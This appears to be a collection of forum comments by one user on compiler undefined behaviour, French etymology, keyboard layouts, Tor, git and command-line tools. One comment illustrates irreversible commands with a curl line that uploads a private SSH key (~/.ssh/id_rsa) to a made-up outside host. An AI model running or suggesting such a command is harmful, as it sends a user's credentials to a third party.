hnjst

Thanks for the correction, I was indeed wrong (parts of my comments were based on true facts but parts were clearly wrong, which is harmful). Honest mistake, I'm glad you spotted it so that I avoid propagating it in the future.

To be dishonestly picky, French is somehow etymologically the "language of the Franks"... However, from what I just read, while "lingua franca" designates a vehicular language (which is the main thing to remember about the expression), it was originally used to refer to a simplified mix of languages (Portuguese, Spanish, Italian, French among others).

Thanks again, I guess I made long ago a lazy intellectual shortcut conflating my somehow credible explanation with the actual origin of the expression.

I'm also not aware of net neutrality being protected in Europe yet. I think I recall ongoing initiatives aiming at that but I'm pretty sure even these don't cover cellular data networks. I think that, for example, plans including unmetered access for specific services are still a thing (say unlimited Facebook usage, exempt from regular data plan limits).

> Inferring any propositional statement about the program (eg "this pointer is not null") from the fact that its negation would imply undefined behaviour.

I'm not completely sure I understand that correctly, but do you mean that statements that are constant unless considering a possible (and "credible"?) implementation of UB shouldn't be fair-game for the compiler to optimize out? EDIT: I think I see a more tricky case that may be one of those you're referring to. Dereferencing a pointer further in the code shouldn't be a valid justification for optimizing out previous tests of it being null. I can relate with that but I suspect that it would prevent many classes of branch pruning.

I get what you suggest while describing malicious compliance but I can imagine that it could be a false impression resulting from trade-offs that favor optimization opportunities to "out-of-spec but canonical/natural" implementations.

I shouldn't start on these but I fail to resist, since you bring one of them on the discussion.

This is one of numerous "faux-amis" that are so tricky for native French speakers. While "fameux" has the meaning an English speaker would expect, "Infâme" means odious. Other examples include "éventuellement" that means possibly (and not surely in the future), "actuellement" which translates as "nowadays" (and not really) etc.

It may be chauvinism, but etymological and geographical clues let be believe that most of these are french words that have been imported into English and whose meanings changed radically. Admittedly, some probably share a common latin origin and were declined into similar words but retaining a different subset of their original meanings.

It is often a source of weird misunderstandings between native French and English speakers, neither of which are famous for their mastery at learning foreign languages...

While the french equivalent "pénultième" is rarely heard and considered as pedantic, "antépénultième" is actually much more frequently used to avoid the ugly "avant-avant-dernier" (very really awesome).

"Lingua Franca" refers to an earlier period in history when French was the common language used across Europe, among the nobility in particular. You can read it as "common language for international communication" to understand why it's used to qualify the "globish" variant of English nowadays.

Admittedly, using a latin expression literally describing French to mean English may be slightly confusing...

I don't get what you or the comment you're responding to are wishing for.

Do you want compilers to stop adding optimizations while staying within the bounds defined by the spec? That they somehow guess that a given piece of code that may trigger UB is too important for them to optimize it based on the assumption that the developer knew what she was doing and ensured that it wouldn't?

The case of a compiler update breaking the test sounds like desirable to me. It pinpoints a critical piece of code that was relying on a specific implementation's behavior that is not specified. This could have been triggered by a compiler or architecture change. If this is something that is a hassle to fix immediately, you can temporarily downgrade to the version of the compiler used earlier or disable some optimizations.

I fail to see why one would consider a compiler evolving while conforming to language specification defective or malicious (however, with that definition I fear that finding one that isn't may indeed be difficult).

As brilliantly said further in this thread by someone else, maybe check that something is OK before doing it.

In that case, something like: [...] if (a > INT_MAX - 1) abort(); int b = a + 1; [...]

In the same vein I remember the first time I was able to use a phone to access "internet" from a computer. The "internet access" that the phone had to offer was called "WAP" and I was communicating with the phone via infrared (wireless \o/), you had to dial cabalistic symbols from the computer and to be really careful using their proxy to avoid sell-an-organ level out of plan charges.

After that Android's deceptively straightforward tethering feature was almost saddening...

French speaking people pronounce it "libroffice". Lots of final "e" are silent in french.

There was another one in f-droid (or at least it was named differently at the time) that I had installed and running by curiosity a few years ago. I more or less forgot it until one day while I was driving on the highway and got forcibly directed out because of a blockade set by protesters (nation-wide protests by farmers occurring at that time). Once in the vicinity of said blockade I got notified unequivocally that something weird was happening to the cellular network. I guess law enforcement people were using IMSI catchers to monitor protesters.

Just anecdotal evidence, however, while I almost never got false positive alerts from this app (once at the arrival of an international flight), the one time it triggered a notification, it was in a highly probable situation.

Communication between our devices and these base stations being so opaque (closed-source baseband processors/OS not helping there) and sensible, I'm glad these projects exist and I just installed this one, blaming myself for not doing so earlier.

I'd say that an important part of mathematics aims at understanding structures and relations between entities in order to avoid inefficient computations. Maybe a trivial example would be multiplication algorithms that allow to bypass costly iterated sums while preserving confidence in the result.

Complexity (and entropy) have surely a crucial importance and can't be totally avoided but I think that mathematics precisely work at minimizing their impact.

I guess that can be tracked back to the use of fancy new buggy tools ;)

bc <<< "0.1 + 0.2"

.3

bc <<< "1.0E4096 +1 -1.0E4096"

1.000000

node -e "console.log(1.0E128 +1 -1.0E128)"

0

python -c "print(1.0E128 +1 -1.0E128)"

0.0

Probably not through http://expyuzz4wqqyqhjn.onion/ ;)

> That's the right alt (not to be confused with the alt right).

I laughed, thanks for that.

> Can you type "ã" or "õ"?

on OSX' Canadian English yes, AltGr+n followed by a/o.

On the other hand, after paying closer attention to the behavior of the layout with the same name on Linux, there are annoying discrepancies and "English (intl. with AltGr dead keys)" is indeed pretty nice for me too. Thanks for the pointer, I may adopt it too.

I couldn't agree more.

The proposed setup also makes devices properly configured to leverage tor "anonymity" features vulnerable to misconfigurations of other devices using the network that is routed over tor (through the same circuit) in various ways.

After a short moment of outrage I saw the important and required notice not too deep in the project description:

> [...] it is strongly advised not to use TorBox if your well-being depends on your anonymity. In such a situation, it is advisable to use Tails [...]

My advice for anyone considering this kind of setup (tunneling blindly a set of clients through tor) would be to 1) make sure they understand the limitations of the approach, especially when clients behave "normally" (a.k.a. actively leaking identifying information) while sharing a circuit and 2) have a look at the considerations that projects like the tor browser or tails are focusing on in order to measure how fragile tor "anonymity" features are.

I feel it's useful to insist on it: DON'T RELY ON THIS KIND OF SETUP FOR CRITICAL OPS.

Besides these warnings, I have a hard time figuring a sensible use case for this (I may lack imagination though). One useful (but unrelated, from what I got from my quick glance on TFA) feature of tor that I enjoy and that is orthogonal to its "anonymity" features is the ease of exposing an onion service (reverse tunnel like) from inside a firewall'd/NAT'd network.

I can't find any "AltGr dead keys" variant on the OSX I'm using at the moment, I'll check later on Linux. I don't have any keyboard with a key marked "AltGr" either btw :).

However, the canadian english variant I'm using definitely has a ~ key and accepts alt+n for ñ. Concerning angle brackets they are at the same position as on a standard US layout.

I assume that we are using different operating systems and that they use the same name for different layouts.

Your shell probably does though, at least for files and commands. Some like ZSH even have completions for common commands readily available, accept external completion plugins and let you write your own as a last resort.

> My practical advice: If you use git every day and you don't know how to rebase, reset, cherrypick, and stash from the command line, make it a goal.

I couldn't agree more. It's not only enabling more sensible interactions with the people that collaborate on repositories with you, it's also a comfort that allows to experiment and take benefit of the tool without fear of getting stuck.

I would add checking the reflog and how to use it to complete the list, even if it's clearly less important.

A source that I recommend wholeheartedly for those that want to go further down the git rabbit hole: https://learngitbranching.js.org/

I don't know which language you're using but for french I migrated from "US International with dead keys" to "canadian english". I fill that, among other things, simple quotes are easier to type and consistency between OSX and Linux is better. A matter of habits and workload balance I guess.

Not sure it's comforting but after exposure to french and swiss keyboard layouts, the canadian one is for me a sweet spot. It's "almost standard qwerty" while allowing to write in french properly. "US International with dead keys" is workable but somehow weirder and less consistent between OSX and Linux.

I'm generally satisfied by ZSH inline options summary, but I'm happy to see a sane instantiation of this, it clearly fits a need. Thanks for the pointer (and sorry for the troll :/).

There are plenty of commands that essentially cannot be undone. Let's consider `curl --upload-file ~/.ssh/id_rsa https://dontworry.youllundothat.tk` for example.

Even when it's doable, some of us prefer to risk unrecoverable mistakes if it avoids having to take an extra step for the command we launched to be effective. I don't want to "empty a bin" after a `rm`, I want free disk space, and yeah, it could be almost impossible to undo.

I understand that safeguards around destructive actions or actions cancellation can help UX, however at some point you can't make an omelet without breaking eggs.

That's supposing that said GUI are stable enough relatively to how often you use them.

Beside that, it still entails that you've to "wire your brain" so that it integrate the twisted specific ways they map on "the real world", with no guarantee that they won't change for external reasons, nor that there will be any sort of consistency across applications.

Thankfully while computers are indeed picky about typos, they also gladly guess, complete and validate what you're trying to tell them if you ask politely (a.k.a. banging repeatedly on the tab key).

I guess you could consider https://github.com/tldr-pages/tldr.

I personally wouldn't touch that, but that's related to my allergies to JS ecosystem and predisposition to panic attacks when I see stuff like that https://github.com/tldr-pages/tldr/blob/master/package-lock.....

Right. I probably picked one of the most flaky examples, sorry for that. Let's say `ls -lah` that (I hope...) is less ambiguous.

In my defense, the specific example I gave is valid for both GNU and BSD versions of tar. If I understood correctly, the issue you point to (order among short form flags) is related to the fact that `f` expects an argument and consequently has to appear in the last position.

Cobra (https://github.com/spf13/cobra), which is a pretty popular library for Go CLI applications, behaves more like classical GNU tools. It also offers usage/help autogeneration and autocompletion for popular shells.

Not sure about the relevant point on compact short options syntax as in `tar -xvzf archive.tgz` though... (edit) after a quick & sloppy test it seems to work as expected

Your distilled summary of this form of objection relying on wishful thinking made my day, thanks a lot!